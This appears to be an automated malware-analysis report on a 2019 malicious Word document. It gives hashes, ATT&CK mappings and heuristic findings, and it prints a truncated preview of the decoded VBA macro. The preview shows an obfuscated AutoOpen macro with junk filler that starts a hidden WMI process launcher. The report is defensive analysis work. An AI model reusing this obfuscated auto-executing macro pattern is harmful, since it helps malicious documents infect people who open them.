Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 db18c4598bbacd61…

MALICIOUS

Office (OLE)

150.1 KB Created: 2019-05-03 16:05:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: f5d9da7ac82392f7d58937c9d53c96ef SHA-1: 50181cc4b568233ebd1d7fb9cfff8df5c3cf00e0 SHA-256: db18c4598bbacd610a58daa6caae5b9cf0dee2994ab5a969e81ffb0dd5f5a3c7
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File: User Execution: Malicious Macro

The sample contains a critical heuristic firing for VBA WMI Win32_Process launcher, indicating the use of Visual Basic to execute commands via WMI. The obfuscated string 'winmgmts' was reassembled, suggesting an attempt to hide the execution of system processes. The presence of an AutoOpen macro further supports the malicious intent of executing code upon opening the document.

Heuristics 8

  • ClamAV: Doc.Malware.Sagent-6961490-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-6961490-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8570 bytes
SHA-256: e71b7071e06974e458530c93eafe2700d5a39e25778032df1e897f81a57cf407
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "z0109_5"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "L80697"
Attribute VB_Base = "0{0DBF635E-0BF0-4879-92A4-78EB933DE4C3}{C6E01313-A6F3-4272-A29A-E82A3CFEAE30}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "c4135105"

Attribute VB_Name = "O61268"

Attribute VB_Name = "d008145"

Attribute VB_Name = "E404930"

Attribute VB_Name = "C0865468"
Attribute VB_Base = "0{B81EC3AA-23E4-43F3-B6FF-E55A2AFBEADC}{A47F0161-BA68-4B8B-8C18-47226ACF9267}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "c4_766"
Function b64306(P597904)
   With H2_8275
'.t384967 = (Log(l42924) + 670656478 * w6039291)
'.S83_41 = (Log(D559860) + 921946835 * W2230644)
'.a76965_ = (Log(T092_74) + 624534352 * V401979_)
'.m8_54_50 = (Log(N66572) + 663356453 * f70273)
End With
   With A52473
'.O_683_6 = (Log(B71604) + 955865106 * L21011)
'.J872466 = (Log(b227026) + 43922755 * G37872)
'.q66_65 = (Log(s_192755) + 827179424 * W5169292)
'.w___687 = (Log(f89147_) + 154610939 * p209407)
End With
   With o286079
'.O_8450 = (Log(M993674) + 701828131 * h7486623)
'.P06_00 = (Log(E460891) + 443085446 * i4_517)
'.t762330 = (Log(V39575) + 739301946 * S9077110)
'.Q_9_441 = (Log(v24_86) + 597931695 * o__3923)
End With
Set b64306 = CVar(P597904)
   With p4620119
'.D8905991 = (Log(S58564) + 449523191 * G_595759)
'.m5278327 = (Log(i87_543) + 554212362 * l6111970)
'.D_3340 = (Log(D2499515) + 345195383 * F50_923)
'.a07335 = (Log(Y577256) + 687730489 * l8_86173)
End With
   With U22624
'.z70_50 = (Log(d09008) + 519707540 * z12082)
'.J050874 = (Log(O93_7512) + 910867228 * h99723_0)
'.R5_54_ = (Log(t461058) + 408245483 * k28990_)
'.o85852 = (Log(S3745491) + 135850402 * u409372)
End With
End Function
Sub autoopen()
On Error Resume Next
   With D500_867
'.D5218458 = (Log(H8_37960) + 125860805 * i9044476)
'.X762144 = (Log(F96980) + 626093976 * C2891958)
'.T_033582 = (Log(f5370_) + 112991394 * I6888500)
'.k8417_4 = (Log(P519264) + 606723665 * w18382)
End With
   With o3342_8
'.B_76296 = (Log(r527468) + 835230021 * E206_863)
'.C457736 = (Log(P712404) + 17822314 * m828615)
'.f976626 = (Log(b12135) + 499159253 * B67888)
'.p07072 = (Log(s7827_) + 766622243 * Z97968)
End With
   With I95617
'.r_6942 = (Log(i554679_) + 624914371 * M247624)
'.D5183_39 = (Log(j17250) + 984610944 * q4669_0_)
'.C7_1003 = (Log(D64_6666) + 666628871 * k605377_)
'.U_854681 = (Log(J64356) + 317851729 * N62188)
End With
Call q242804
   With j9_2_03
'.f_29825 = (Log(Z389541) + 907763161 * h038179)
'.C60568 = (Log(j586806) + 24843841 * B97438_3)
'.Q22_126 = (Log(q312066) + 332825624 * E8740839)
'.K541_3 = (Log(l66455) + 858748684 * j9994136)
End With
   With O3959055
'.P063595 = (Log(p5_233) + 138676731 * I94_991)
'.v39499 = (Log(E_58925) + 476561018 * a185705)
'.E4292686 = (Log(a82192) + 153456885 * S7_6037)
'.b800221 = (Log(N3228134) + 890299269 * w45693)
End With
End Sub

Attribute VB_Name = "N6783_85"
Function q242804()
On Error Resume Next
   With A72026
'.G36261 = (Log(j60_00) + 133061365 * E00080_6)
'.G1902940 = (Log(R938_61) + 797246979 * v779088)
'.Q784432 = (Log(m271_65) + 282673520 * t30238)
'.Y1_5125 = (Log(j6_607) + 451867870 * z08147)
End With
   With i2778_39
'.m780536_ = (Log(O4606941) + 23759554 * v7_34_7)
'.i8354_4 = (Log(r007687_) + 759646148 * j_7860)
'.i24_3147 = (Log(d76933) + 400001223 * H47525)
'.i27_6170 = (Log(v773170) + 192691623 * z9540695)
End With
   With J55586
'.N7134_80 = (Log(J1
... (truncated)

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